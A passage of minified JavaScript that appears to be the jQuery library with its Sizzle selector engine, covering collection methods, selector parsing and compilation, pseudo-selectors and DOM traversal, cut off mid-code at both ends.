null==e?s.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=S.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return S.each(this,e)},map:function(n){return this.pushStack(S.map(this,function(e,t){return n.call(e,t,e)}))},slice:function(){return this.pushStack(s.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},even:function(){return this.pushStack(S.grep(this,function(e,t){return(t+1)%2}))},odd:function(){return this.pushStack(S.grep(this,function(e,t){return t%2}))},eq:function(e){var t=this.length,n=+e+(e<0?t:0);return this.pushStack(0<=n&&n<t?[this[n]]:[])},end:function(){return this.prevObject||this.constructor()},push:u,sort:t.sort,splice:t.splice},S.extend=S.fn.extend=function(){var e,t,n,r,i,o,a=arguments[0]||{},s=1,u=arguments.length,l=!1;for("boolean"==typeof a&&(l=a,a=arguments[s]||{},s++),"object"==typeof a||m(a)||(a={}),s===u&&(a=this,s--);s<u;s++)if(null!=(e=arguments[s]))for(t in e)r=e[t],"__proto__"!==t&&a!==r&&(l&&r&&(S.isPlainObject(r)||(i=Array.isArray(r)))?(n=a[t],o=i&&!Array.isArray(n)?[]:i||S.isPlainObject(n)?n:{},i=!1,a[t]=S.extend(l,o,r)):void 0!==r&&(a[t]=r));return a},S.extend({expando:"jQuery"+(f+Math.random()).replace(/\D/g,""),isReady:!0,error:function(e){throw new Error(e)},noop:function(){},isPlainObject:function(e){var t,n;return!(!e||"[object Object]"!==o.call(e))&&(!(t=r(e))||"function"==typeof(n=v.call(t,"constructor")&&t.constructor)&&a.call(n)===l)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},globalEval:function(e,t,n){b(e,{nonce:t&&t.nonce},n)},each:function(e,t){var n,r=0;if(p(e)){for(n=e.length;r<n;r++)if(!1===t.call(e[r],r,e[r]))break}else for(r in e)if(!1===t.call(e[r],r,e[r]))break;return e},makeArray:function(e,t){var n=t||[];return null!=e&&(p(Object(e))?S.merge(n,"string"==typeof e?[e]:e):u.call(n,e)),n},inArray:function(e,t,n){return null==t?-1:i.call(t,e,n)},merge:function(e,t){for(var n=+t.length,r=0,i=e.length;r<n;r++)e[i++]=t[r];return e.length=i,e},grep:function(e,t,n){for(var r=[],i=0,o=e.length,a=!n;i<o;i++)!t(e[i],i)!==a&&r.push(e[i]);return r},map:function(e,t,n){var r,i,o=0,a=[];if(p(e))for(r=e.length;o<r;o++)null!=(i=t(e[o],o,n))&&a.push(i);else for(o in e)null!=(i=t(e[o],o,n))&&a.push(i);return g(a)},guid:1,support:y}),"function"==typeof Symbol&&(S.fn[Symbol.iterator]=t[Symbol.iterator]),S.each("Boolean Number String Function Array Date RegExp Object Error Symbol".split(" "),function(e,t){n["[object "+t+"]"]=t.toLowerCase()});var d=function(n){var e,d,b,o,i,h,f,g,w,u,l,T,C,a,E,v,s,c,y,S="sizzle"+1*new Date,p=n.document,k=0,r=0,m=ue(),x=ue(),A=ue(),N=ue(),j=function(e,t){return e===t&&(l=!0),0},D={}.hasOwnProperty,t=[],q=t.pop,L=t.push,H=t.push,O=t.slice,P=function(e,t){for(var n=0,r=e.length;n<r;n++)if(e[n]===t)return n;return-1},R="checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped",M="[\\x20\\t\\r\\n\\f]",I="(?:\\\\[\\da-fA-F]{1,6}"+M+"?|\\\\[^\\r\\n\\f]|[\\w-]|[^\0-\\x7f])+",W="\\["+M+"*("+I+")(?:"+M+"*([*^$|!~]?=)"+M+"*(?:'((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\"|("+I+"))|)"+M+"*\\]",F=":("+I+")(?:\\((('((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\")|((?:\\\\.|[^\\\\()[\\]]|"+W+")*)|.*)\\)|)",B=new RegExp(M+"+","g"),$=new RegExp("^"+M+"+|((?:^|[^\\\\])(?:\\\\.)*)"+M+"+$","g"),_=new RegExp("^"+M+"*,"+M+"*"),z=new RegExp("^"+M+"*([>+~]|"+M+")"+M+"*"),U=new RegExp(M+"|>"),X=new RegExp(F),V=new RegExp("^"+I+"$"),G={ID:new RegExp("^#("+I+")"),CLASS:new RegExp("^\\.("+I+")"),TAG:new RegExp("^("+I+"|[*])"),ATTR:new RegExp("^"+W),PSEUDO:new RegExp("^"+F),CHILD:new RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\("+M+"*(even|odd|(([+-]|)(\\d*)n|)"+M+"*(?:([+-]|)"+M+"*(\\d+)|))"+M+"*\\)|)","i"),bool:new RegExp("^(?:"+R+")$","i"),needsContext:new RegExp("^"+M+"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\("+M+"*((?:-\\d)?\\d*)"+M+"*\\)|)(?=[^-]|$)","i")},Y=/HTML$/i,Q=/^(?:input|select|textarea|button)$/i,J=/^h\d$/i,K=/^[^{]+\{\s*\[native \w/,Z=/^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,ee=/[+~]/,te=new RegExp("\\\\[\\da-fA-F]{1,6}"+M+"?|\\\\([^\\r\\n\\f])","g"),ne=function(e,t){var n="0x"+e.slice(1)-65536;return t||(n<0?String.fromCharCode(n+65536):String.fromCharCode(n>>10|55296,1023&n|56320))},re=/([\0-\x1f\x7f]|^-?\d)|^-$|[^\0-\x1f\x7f-\uFFFF\w-]/g,ie=function(e,t){return t?"\0"===e?"\ufffd":e.slice(0,-1)+"\\"+e.charCodeAt(e.length-1).toString(16)+" ":"\\"+e},oe=function(){T()},ae=be(function(e){return!0===e.disabled&&"fieldset"===e.nodeName.toLowerCase()},{dir:"parentNode",next:"legend"});try{H.apply(t=O.call(p.childNodes),p.childNodes),t[p.childNodes.length].nodeType}catch(e){H={apply:t.length?function(e,t){L.apply(e,O.call(t))}:function(e,t){var n=e.length,r=0;while(e[n++]=t[r++]);e.length=n-1}}}function se(t,e,n,r){var i,o,a,s,u,l,c,f=e&&e.ownerDocument,p=e?e.nodeType:9;if(n=n||[],"string"!=typeof t||!t||1!==p&&9!==p&&11!==p)return n;if(!r&&(T(e),e=e||C,E)){if(11!==p&&(u=Z.exec(t)))if(i=u[1]){if(9===p){if(!(a=e.getElementById(i)))return n;if(a.id===i)return n.push(a),n}else if(f&&(a=f.getElementById(i))&&y(e,a)&&a.id===i)return n.push(a),n}else{if(u[2])return H.apply(n,e.getElementsByTagName(t)),n;if((i=u[3])&&d.getElementsByClassName&&e.getElementsByClassName)return H.apply(n,e.getElementsByClassName(i)),n}if(d.qsa&&!N[t+" "]&&(!v||!v.test(t))&&(1!==p||"object"!==e.nodeName.toLowerCase())){if(c=t,f=e,1===p&&(U.test(t)||z.test(t))){(f=ee.test(t)&&ye(e.parentNode)||e)===e&&d.scope||((s=e.getAttribute("id"))?s=s.replace(re,ie):e.setAttribute("id",s=S)),o=(l=h(t)).length;while(o--)l[o]=(s?"#"+s:":scope")+" "+xe(l[o]);c=l.join(",")}try{return H.apply(n,f.querySelectorAll(c)),n}catch(e){N(t,!0)}finally{s===S&&e.removeAttribute("id")}}}return g(t.replace($,"$1"),e,n,r)}function ue(){var r=[];return function e(t,n){return r.push(t+" ")>b.cacheLength&&delete e[r.shift()],e[t+" "]=n}}function le(e){return e[S]=!0,e}function ce(e){var t=C.createElement("fieldset");try{return!!e(t)}catch(e){return!1}finally{t.parentNode&&t.parentNode.removeChild(t),t=null}}function fe(e,t){var n=e.split("|"),r=n.length;while(r--)b.attrHandle[n[r]]=t}function pe(e,t){var n=t&&e,r=n&&1===e.nodeType&&1===t.nodeType&&e.sourceIndex-t.sourceIndex;if(r)return r;if(n)while(n=n.nextSibling)if(n===t)return-1;return e?1:-1}function de(t){return function(e){return"input"===e.nodeName.toLowerCase()&&e.type===t}}function he(n){return function(e){var t=e.nodeName.toLowerCase();return("input"===t||"button"===t)&&e.type===n}}function ge(t){return function(e){return"form"in e?e.parentNode&&!1===e.disabled?"label"in e?"label"in e.parentNode?e.parentNode.disabled===t:e.disabled===t:e.isDisabled===t||e.isDisabled!==!t&&ae(e)===t:e.disabled===t:"label"in e&&e.disabled===t}}function ve(a){return le(function(o){return o=+o,le(function(e,t){var n,r=a([],e.length,o),i=r.length;while(i--)e[n=r[i]]&&(e[n]=!(t[n]=e[n]))})})}function ye(e){return e&&"undefined"!=typeof e.getElementsByTagName&&e}for(e in d=se.support={},i=se.isXML=function(e){var t=e&&e.namespaceURI,n=e&&(e.ownerDocument||e).documentElement;return!Y.test(t||n&&n.nodeName||"HTML")},T=se.setDocument=function(e){var t,n,r=e?e.ownerDocument||e:p;return r!=C&&9===r.nodeType&&r.documentElement&&(a=(C=r).documentElement,E=!i(C),p!=C&&(n=C.defaultView)&&n.top!==n&&(n.addEventListener?n.addEventListener("unload",oe,!1):n.attachEvent&&n.attachEvent("onunload",oe)),d.scope=ce(function(e){return a.appendChild(e).appendChild(C.createElement("div")),"undefined"!=typeof e.querySelectorAll&&!e.querySelectorAll(":scope fieldset div").length}),d.attributes=ce(function(e){return e.className="i",!e.getAttribute("className")}),d.getElementsByTagName=ce(function(e){return e.appendChild(C.createComment("")),!e.getElementsByTagName("*").length}),d.getElementsByClassName=K.test(C.getElementsByClassName),d.getById=ce(function(e){return a.appendChild(e).id=S,!C.getElementsByName||!C.getElementsByName(S).length}),d.getById?(b.filter.ID=function(e){var t=e.replace(te,ne);return function(e){return e.getAttribute("id")===t}},b.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&E){var n=t.getElementById(e);return n?[n]:[]}}):(b.filter.ID=function(e){var n=e.replace(te,ne);return function(e){var t="undefined"!=typeof e.getAttributeNode&&e.getAttributeNode("id");return t&&t.value===n}},b.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&E){var n,r,i,o=t.getElementById(e);if(o){if((n=o.getAttributeNode("id"))&&n.value===e)return[o];i=t.getElementsByName(e),r=0;while(o=i[r++])if((n=o.getAttributeNode("id"))&&n.value===e)return[o]}return[]}}),b.find.TAG=d.getElementsByTagName?function(e,t){return"undefined"!=typeof t.getElementsByTagName?t.getElementsByTagName(e):d.qsa?t.querySelectorAll(e):void 0}:function(e,t){var n,r=[],i=0,o=t.getElementsByTagName(e);if("*"===e){while(n=o[i++])1===n.nodeType&&r.push(n);return r}return o},b.find.CLASS=d.getElementsByClassName&&function(e,t){if("undefined"!=typeof t.getElementsByClassName&&E)return t.getElementsByClassName(e)},s=[],v=[],(d.qsa=K.test(C.querySelectorAll))&&(ce(function(e){var t;a.appendChild(e).innerHTML="<a id='"+S+"'></a><select id='"+S+"-\r\\' msallowcapture=''><option selected=''></option></select>",e.querySelectorAll("[msallowcapture^='']").length&&v.push("[*^$]="+M+"*(?:''|\"\")"),e.querySelectorAll("[selected]").length||v.push("\\["+M+"*(?:value|"+R+")"),e.querySelectorAll("[id~="+S+"-]").length||v.push("~="),(t=C.createElement("input")).setAttribute("name",""),e.appendChild(t),e.querySelectorAll("[name='']").length||v.push("\\["+M+"*name"+M+"*="+M+"*(?:''|\"\")"),e.querySelectorAll(":checked").length||v.push(":checked"),e.querySelectorAll("a#"+S+"+*").length||v.push(".#.+[+~]"),e.querySelectorAll("\\\f"),v.push("[\\r\\n\\f]")}),ce(function(e){e.innerHTML="<a href='' disabled='disabled'></a><select disabled='disabled'><option/></select>";var t=C.createElement("input");t.setAttribute("type","hidden"),e.appendChild(t).setAttribute("name","D"),e.querySelectorAll("[name=d]").length&&v.push("name"+M+"*[*^$|!~]?="),2!==e.querySelectorAll(":enabled").length&&v.push(":enabled",":disabled"),a.appendChild(e).disabled=!0,2!==e.querySelectorAll(":disabled").length&&v.push(":enabled",":disabled"),e.querySelectorAll("*,:x"),v.push(",.*:")})),(d.matchesSelector=K.test(c=a.matches||a.webkitMatchesSelector||a.mozMatchesSelector||a.oMatchesSelector||a.msMatchesSelector))&&ce(function(e){d.disconnectedMatch=c.call(e,"*"),c.call(e,"[s!='']:x"),s.push("!=",F)}),v=v.length&&new RegExp(v.join("|")),s=s.length&&new RegExp(s.join("|")),t=K.test(a.compareDocumentPosition),y=t||K.test(a.contains)?function(e,t){var n=9===e.nodeType?e.documentElement:e,r=t&&t.parentNode;return e===r||!(!r||1!==r.nodeType||!(n.contains?n.contains(r):e.compareDocumentPosition&&16&e.compareDocumentPosition(r)))}:function(e,t){if(t)while(t=t.parentNode)if(t===e)return!0;return!1},j=t?function(e,t){if(e===t)return l=!0,0;var n=!e.compareDocumentPosition-!t.compareDocumentPosition;return n||(1&(n=(e.ownerDocument||e)==(t.ownerDocument||t)?e.compareDocumentPosition(t):1)||!d.sortDetached&&t.compareDocumentPosition(e)===n?e==C||e.ownerDocument==p&&y(p,e)?-1:t==C||t.ownerDocument==p&&y(p,t)?1:u?P(u,e)-P(u,t):0:4&n?-1:1)}:function(e,t){if(e===t)return l=!0,0;var n,r=0,i=e.parentNode,o=t.parentNode,a=[e],s=[t];if(!i||!o)return e==C?-1:t==C?1:i?-1:o?1:u?P(u,e)-P(u,t):0;if(i===o)return pe(e,t);n=e;while(n=n.parentNode)a.unshift(n);n=t;while(n=n.parentNode)s.unshift(n);while(a[r]===s[r])r++;return r?pe(a[r],s[r]):a[r]==p?-1:s[r]==p?1:0}),C},se.matches=function(e,t){return se(e,null,null,t)},se.matchesSelector=function(e,t){if(T(e),d.matchesSelector&&E&&!N[t+" "]&&(!s||!s.test(t))&&(!v||!v.test(t)))try{var n=c.call(e,t);if(n||d.disconnectedMatch||e.document&&11!==e.document.nodeType)return n}catch(e){N(t,!0)}return 0<se(t,C,null,[e]).length},se.contains=function(e,t){return(e.ownerDocument||e)!=C&&T(e),y(e,t)},se.attr=function(e,t){(e.ownerDocument||e)!=C&&T(e);var n=b.attrHandle[t.toLowerCase()],r=n&&D.call(b.attrHandle,t.toLowerCase())?n(e,t,!E):void 0;return void 0!==r?r:d.attributes||!E?e.getAttribute(t):(r=e.getAttributeNode(t))&&r.specified?r.value:null},se.escape=function(e){return(e+"").replace(re,ie)},se.error=function(e){throw new Error("Syntax error, unrecognized expression: "+e)},se.uniqueSort=function(e){var t,n=[],r=0,i=0;if(l=!d.detectDuplicates,u=!d.sortStable&&e.slice(0),e.sort(j),l){while(t=e[i++])t===e[i]&&(r=n.push(i));while(r--)e.splice(n[r],1)}return u=null,e},o=se.getText=function(e){var t,n="",r=0,i=e.nodeType;if(i){if(1===i||9===i||11===i){if("string"==typeof e.textContent)return e.textContent;for(e=e.firstChild;e;e=e.nextSibling)n+=o(e)}else if(3===i||4===i)return e.nodeValue}else while(t=e[r++])n+=o(t);return n},(b=se.selectors={cacheLength:50,createPseudo:le,match:G,attrHandle:{},find:{},relative:{">":{dir:"parentNode",first:!0}," ":{dir:"parentNode"},"+":{dir:"previousSibling",first:!0},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(e){return e[1]=e[1].replace(te,ne),e[3]=(e[3]||e[4]||e[5]||"").replace(te,ne),"~="===e[2]&&(e[3]=" "+e[3]+" "),e.slice(0,4)},CHILD:function(e){return e[1]=e[1].toLowerCase(),"nth"===e[1].slice(0,3)?(e[3]||se.error(e[0]),e[4]=+(e[4]?e[5]+(e[6]||1):2*("even"===e[3]||"odd"===e[3])),e[5]=+(e[7]+e[8]||"odd"===e[3])):e[3]&&se.error(e[0]),e},PSEUDO:function(e){var t,n=!e[6]&&e[2];return G.CHILD.test(e[0])?null:(e[3]?e[2]=e[4]||e[5]||"":n&&X.test(n)&&(t=h(n,!0))&&(t=n.indexOf(")",n.length-t)-n.length)&&(e[0]=e[0].slice(0,t),e[2]=n.slice(0,t)),e.slice(0,3))}},filter:{TAG:function(e){var t=e.replace(te,ne).toLowerCase();return"*"===e?function(){return!0}:function(e){return e.nodeName&&e.nodeName.toLowerCase()===t}},CLASS:function(e){var t=m[e+" "];return t||(t=new RegExp("(^|"+M+")"+e+"("+M+"|$)"))&&m(e,function(e){return t.test("string"==typeof e.className&&e.className||"undefined"!=typeof e.getAttribute&&e.getAttribute("class")||"")})},ATTR:function(n,r,i){return function(e){var t=se.attr(e,n);return null==t?"!="===r:!r||(t+="","="===r?t===i:"!="===r?t!==i:"^="===r?i&&0===t.indexOf(i):"*="===r?i&&-1<t.indexOf(i):"$="===r?i&&t.slice(-i.length)===i:"~="===r?-1<(" "+t.replace(B," ")+" ").indexOf(i):"|="===r&&(t===i||t.slice(0,i.length+1)===i+"-"))}},CHILD:function(h,e,t,g,v){var y="nth"!==h.slice(0,3),m="last"!==h.slice(-4),x="of-type"===e;return 1===g&&0===v?function(e){return!!e.parentNode}:function(e,t,n){var r,i,o,a,s,u,l=y!==m?"nextSibling":"previousSibling",c=e.parentNode,f=x&&e.nodeName.toLowerCase(),p=!n&&!x,d=!1;if(c){if(y){while(l){a=e;while(a=a[l])if(x?a.nodeName.toLowerCase()===f:1===a.nodeType)return!1;u=l="only"===h&&!u&&"nextSibling"}return!0}if(u=[m?c.firstChild:c.lastChild],m&&p){d=(s=(r=(i=(o=(a=c)[S]||(a[S]={}))[a.uniqueID]||(o[a.uniqueID]={}))[h]||[])[0]===k&&r[1])&&r[2],a=s&&c.childNodes[s];while(a=++s&&a&&a[l]||(d=s=0)||u.pop())if(1===a.nodeType&&++d&&a===e){i[h]=[k,s,d];break}}else if(p&&(d=s=(r=(i=(o=(a=e)[S]||(a[S]={}))[a.uniqueID]||(o[a.uniqueID]={}))[h]||[])[0]===k&&r[1]),!1===d)while(a=++s&&a&&a[l]||(d=s=0)||u.pop())if((x?a.nodeName.toLowerCase()===f:1===a.nodeType)&&++d&&(p&&((i=(o=a[S]||(a[S]={}))[a.uniqueID]||(o[a.uniqueID]={}))[h]=[k,d]),a===e))break;return(d-=v)===g||d%g==0&&0<=d/g}}},PSEUDO:function(e,o){var t,a=b.pseudos[e]||b.setFilters[e.toLowerCase()]||se.error("unsupported pseudo: "+e);return a[S]?a(o):1<a.length?(t=[e,e,"",o],b.setFilters.hasOwnProperty(e.toLowerCase())?le(function(e,t){var n,r=a(e,o),i=r.length;while(i--)e[n=P(e,r[i])]=!(t[n]=r[i])}):function(e){return a(e,0,t)}):a}},pseudos:{not:le(function(e){var r=[],i=[],s=f(e.replace($,"$1"));return s[S]?le(function(e,t,n,r){var i,o=s(e,null,r,[]),a=e.length;while(a--)(i=o[a])&&(e[a]=!(t[a]=i))}):function(e,t,n){return r[0]=e,s(r,null,n,i),r[0]=null,!i.pop()}}),has:le(function(t){return function(e){return 0<se(t,e).length}}),contains:le(function(t){return t=t.replace(te,ne),function(e){return-1<(e.textContent||o(e)).indexOf(t)}}),lang:le(function(n){return V.test(n||"")||se.error("unsupported lang: "+n),n=n.replace(te,ne).toLowerCase(),function(e){var t;do{if(t=E?e.lang:e.getAttribute("xml:lang")||e.getAttribute("lang"))return(t=t.toLowerCase())===n||0===t.indexOf(n+"-")}while((e=e.parentNode)&&1===e.nodeType);return!1}}),target:function(e){var t=n.location&&n.location.hash;return t&&t.slice(1)===e.id},root:function(e){return e===a},focus:function(e){return e===C.activeElement&&(!C.hasFocus||C.hasFocus())&&!!(e.type||e.href||~e.tabIndex)},enabled:ge(!1),disabled:ge(!0),checked:function(e){var t=e.nodeName.toLowerCase();return"input"===t&&!!e.checked||"option"===t&&!!e.selected},selected:function(e){return e.parentNode&&e.parentNode.selectedIndex,!0===e.selected},empty:function(e){for(e=e.firstChild;e;e=e.nextSibling)if(e.nodeType<6)return!1;return!0},parent:function(e){return!b.pseudos.empty(e)},header:function(e){return J.test(e.nodeName)},input:function(e){return Q.test(e.nodeName)},button:function(e){var t=e.nodeName.toLowerCase();return"input"===t&&"button"===e.type||"button"===t},text:function(e){var t;return"input"===e.nodeName.toLowerCase()&&"text"===e.type&&(null==(t=e.getAttribute("type"))||"text"===t.toLowerCase())},first:ve(function(){return[0]}),last:ve(function(e,t){return[t-1]}),eq:ve(function(e,t,n){return[n<0?n+t:n]}),even:ve(function(e,t){for(var n=0;n<t;n+=2)e.push(n);return e}),odd:ve(function(e,t){for(var n=1;n<t;n+=2)e.push(n);return e}),lt:ve(function(e,t,n){for(var r=n<0?n+t:t<n?t:n;0<=--r;)e.push(r);return e}),gt:ve(function(e,t,n){for(var r=n<0?n+t:n;++r<t;)e.push(r);return e})}}).pseudos.nth=b.pseudos.eq,{radio:!0,checkbox:!0,file:!0,password:!0,image:!0})b.pseudos[e]=de(e);for(e in{submit:!0,reset:!0})b.pseudos[e]=he(e);function me(){}function xe(e){for(var t=0,n=e.length,r="";t<n;t++)r+=e[t].value;return r}function be(s,e,t){var u=e.dir,l=e.next,c=l||u,f=t&&"parentNode"===c,p=r++;return e.first?function(e,t,n){while(e=e[u])if(1===e.nodeType||f)return s(e,t,n);return!1}:function(e,t,n){var r,i,o,a=[k,p];if(n){while(e=e[u])if((1===e.nodeType||f)&&s(e,t,n))return!0}else while(e=e[u])if(1===e.nodeType||f)if(i=(o=e[S]||(e[S]={}))[e.uniqueID]||(o[e.uniqueID]={}),l&&l===e.nodeName.toLowerCase())e=e[u]||e;else{if((r=i[c])&&r[0]===k&&r[1]===p)return a[2]=r[2];if((i[c]=a)[2]=s(e,t,n))return!0}return!1}}function we(i){return 1<i.length?function(e,t,n){var r=i.length;while(r--)if(!i[r](e,t,n))return!1;return!0}:i[0]}function Te(e,t,n,r,i){for(var o,a=[],s=0,u=e.length,l=null!=t;s<u;s++)(o=e[s])&&(n&&!n(o,r,i)||(a.push(o),l&&t.push(s)));return a}function Ce(d,h,g,v,y,e){return v&&!v[S]&&(v=Ce(v)),y&&!y[S]&&(y=Ce(y,e)),le(function(e,t,n,r){var i,o,a,s=[],u=[],l=t.length,c=e||function(e,t,n){for(var r=0,i=t.length;r<i;r++)se(e,t[r],n);return n}(h||"*",n.nodeType?[n]:n,[]),f=!d||!e&&h?c:Te(c,s,d,n,r),p=g?y||(e?d:l||v)?[]:t:f;if(g&&g(f,p,n,r),v){i=Te(p,u),v(i,[],n,r),o=i.length;while(o--)(a=i[o])&&(p[u[o]]=!(f[u[o]]=a))}if(e){if(y||d){if(y){i=[],o=p.length;while(o--)(a=p[o])&&i.push(f[o]=a);y(null,p=[],i,r)}o=p.length;while(o--)(a=p[o])&&-1<(i=y?P(e,a):s[o])&&(e[i]=!(t[i]=a))}}else p=Te(p===t?p.splice(l,p.length):p),y?y(null,t,p,r):H.apply(t,p)})}function Ee(e){for(var i,t,n,r=e.length,o=b.relative[e[0].type],a=o||b.relative[" "],s=o?1:0,u=be(function(e){return e===i},a,!0),l=be(function(e){return-1<P(i,e)},a,!0),c=[function(e,t,n){var r=!o&&(n||t!==w)||((i=t).nodeType?u(e,t,n):l(e,t,n));return i=null,r}];s<r;s++)if(t=b.relative[e[s].type])c=[be(we(c),t)];else{if((t=b.filter[e[s].type].apply(null,e[s].matches))[S]){for(n=++s;n<r;n++)if(b.relative[e[n].type])break;return Ce(1<s&&we(c),1<s&&xe(e.slice(0,s-1).concat({value:" "===e[s-2].type?"*":""})).replace($,"$1"),t,s<n&&Ee(e.slice(s,n)),n<r&&Ee(e=e.slice(n)),n<r&&xe(e))}c.push(t)}return we(c)}return me.prototype=b.filters=b.pseudos,b.setFilters=new me,h=se.tokenize=function(e,t){var n,r,i,o,a,s,u,l=x[e+" "];if(l)return t?0:l.slice(0);a=e,s=[],u=b.preFilter;while(a){for(o in n&&!(r=_.exec(a))||(r&&(a=a.slice(r[0].length)||a),s.push(i=[])),n=!1,(r=z.exec(a))&&(n=r.shift(),i.push({value:n,type:r[0].replace($," ")}),a=a.slice(n.length)),b.filter)!(r=G[o].exec(a))||u[o]&&!(r=u[o](r))||(n=r.shift(),i.push({value:n,type:o,matches:r}),a=a.slice(n.length));if(!n)break}return t?a.length:a?se.error(e):x(e,s).slice(0)},f=se.compile=function(e,t){var n,v,y,m,x,r,i=[],o=[],a=A[e+" "];if(!a){t||(t=h(e)),n=t.length;while(n--)(a=Ee(t[n]))[S]?i.push(a):o.push(a);(a=A(e,(v=o,m=0<(y=i).length,x=0<v.length,r=function(e,t,n,r,i){var o,a,s,u=0,l="0",c=e&&[],f=[],p=w,d=e||x&&b.find.TAG("*",i),h=k+=null==p?1:Math.random()||.1,g=d.length;for(i&&(w=t==C||t||i);l!==g&&null!=(o=d[l]);l++){if(x&&o){a=0,t||o.ownerDocument==C||(T(o),n=!E);while(s=v[a++])if(s(o,t||C,n)){r.push(o);break}i&&(k=h)}m&&((o=!s&&o)&&u--,e&&c.push(o))}if(u+=l,m&&l!==u){a=0;while(s=y[a++])s(c,f,t,n);if(e){if(0<u)while(l--)c[l]||f[l]||(f[l]=q.call(r));f=Te(f)}H.apply(r,f),i&&!e&&0<f.length&&1<u+y.length&&se.uniqueSort(r)}return i&&(k=h,w=p),c},m?le(r):r))).selector=e}return a},g=se.select=function(e,t,n,r){var i,o,a,s,u,l="function"==typeof e&&e,c=!r&&h(e=l.selector||e);if(n=n||[],1===c.length){if(2<(o=c[0]=c[0].slice(0)).length&&"ID"===(a=o[0]).type&&9===t.nodeType&&E&&b.relative[o[1].type]){if(!(t=(b.find.ID(a.matches[0].replace(te,ne),t)||[])[0]))return n;l&&(t=t.parentNode),e=e.slice(o.shift().value.length)}i=G.needsContext.test(e)?0:o.length;while(i--){if(a=o[i],b.relative[s=a.type])break;if((u=b.find[s])&&(r=u(a.matches[0].replace(te,ne),ee.test(o[0].type)&&ye(t.parentNode)||t))){if(o.splice(i,1),!(e=r.length&&xe(o)))return H.apply(n,r),n;break}}}return(l||f(e,c))(r,t,!E,n,!t||ee.test(e)&&ye(t.parentNode)||t),n},d.sortStable=S.split("").sort(j).join("")===S,d.detectDuplicates=!!l,T(),d.sortDetached=ce(function(e){return 1&e.compareDocumentPosition(C.createElement("fieldset"))}),ce(function(e){return e.innerHTML="<a href='#'></a>","#"===e.firstChild.getAttribute("href")})||fe("type|href|height|width",function(e,t,n){if(!n)return e.getAttribute(t,"type"===t.toLowerCase()?1:2)}),d.attributes&&ce(function(e){return e.innerHTML="<input/>",e.firstChild.setAttribute("value",""),""===e.firstChild.getAttribute("value")})||fe("value",function(e,t,n){if(!n&&"input"===e.nodeName.toLowerCase())return e.defaultValue}),ce(function(e){return null==e.getAttribute("disabled")})||fe(R,function(e,t,n){var r;if(!n)return!0===e[t]?t.toLowerCase():(r=e.getAttributeNode(t))&&r.specified?r.value:null}),se}(C);S.find=d,S.expr=d.selectors,S.expr[":"]=S.expr.pseudos,S.uniqueSort=S.unique=d.uniqueSort,S.text=d.getText,S.isXMLDoc=d.isXML,S.contains=d.contains,S.escapeSelector=d.escape;var h=function(e,t,n){var r=[],i=void 0!==n;while((e=e[t])&&9!==e.nodeType)if(1===e.nodeType){if(i&&S(e).is(n))break;r.push(e)}return r},T=function(e,t){for(var n=[];e;e=e.nextSibling)1===e.nodeType&&e!==t&&n.push(e);return n},k=S.expr.match.needsContext;function A(e,t){return e.nodeName&&e.nodeName.toLowerCase()===t.toLowerCase()}var N=/^<([a-z][^\/\0>:\x20\t\r\n\f]*)[\x20\t\r\n\f]*\/?>(?:<\/\1>|)$/i;function j(e,n,r){return m(n)?S.grep(e,function(e,t){return!!n.call(e,t,e)!==r}):n.nodeType?S.grep(e,function(e){return e===n!==r}):"string"!=typeof n?S.grep(e,function(e){return-1<i.call(n,e)!==r}):S.filter(n,e,r)}S.filter=function(e,t,n){var r=t[0];return n&&(e=":not("+e+")"),1===t.length&&1===r.nodeType?S.find.matchesSelector(r,e)?[r]:[]:S.find.matches(e,S.grep(t,function(e){return 1===e.nodeType}))},S.fn.extend({find:function(e){var t,n,r=this.length,i=this;if("string"!=typeof e)return this.pushStack(S(e).filter(function(){for(t=0;t<r;t++)if(S.contains(i[t],this))return!0}));for(n=this.pushStack([]),t=0;t<r;t++)S.find(e,i[t],n);return 1<r?S.uniqueSort(n):n},filter:function(e){return this.pushStack(j(this,e||[],!1))},not:function(e){return this.pushStack(j(this,e||[],!0))},is:function(e){return!!j(this,"string"==typeof e&&k.test(e)?S(e):e||[],!1).length}});var D,q=/^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]+))$/;(S.fn.init=function(e,t,n){var r,i;if(!e)return this;if(n=n||D,"string"==typeof e){if(!(r="<"===e[0]&&">"===e[e.length-1]&&3<=e.length?[null,e,null]:q.exec(e))||!r[1]&&t)return!t||t.jquery?(t||n).find(e):this.constructor(t).find(e);if(r[1]){if(t=t instanceof S?t[0]:t,S.merge(this,S.parseHTML(r[1],t&&t.nodeType?t.ownerDocument||t:E,!0)),N.test(r[1])&&S.isPlainObject(t))for(r in t)m(this[r])?this[r](t[r]):this.attr(r,t[r]);return this}return(i=E.getElementById(r[2]))&&(this[0]=i,this.length=1),this}return e.nodeType?(this[0]=e,this.length=1,this):m(e)?void 0!==n.ready?n.ready(e):e(S):S.makeArray(e,this)}).prototype=S.fn,D=S(E);var L=/^(?:parents|prev(?:Until|All))/,H={children:!0,contents:!0,next:!0,prev:!0};function O(e,t){while((e=e[t])&&1!==e.nodeType);return e}S.fn.extend({has:function(e){var t=S(e,this),n=t.length;return this.filter(function(){for(var e=0;e<n;e++)if(S.contains(this,t[e]))return!0})},closest:function(e,t){var n,r=0,i=this.length,o=[],a="string"!=typeof e&&S(e);if(!k.test(e))for(;r<i;r++)for(n=this[r];n&&n!==t;n=n.parentNode)if(n.nodeType<11&&(a?-1<a.index(n):1===n.nodeType&&S.find.matchesSelector(n,e))){o.push(n);break}return this.pushStack(1<o.length?S.uniqueSort(o):o)},index:function(e){return e?"string"==typeof e?i.call(S(e),this[0]):i.call(this,e.jquery?e[0]:e):this[0]&&this[0].parentNode?this.first().prevAll().length:-1},add:function(e,t){return this.pushStack(S.uniqueSort(S.merge(this.get(),S(e,t))))},addBack:function(e){return 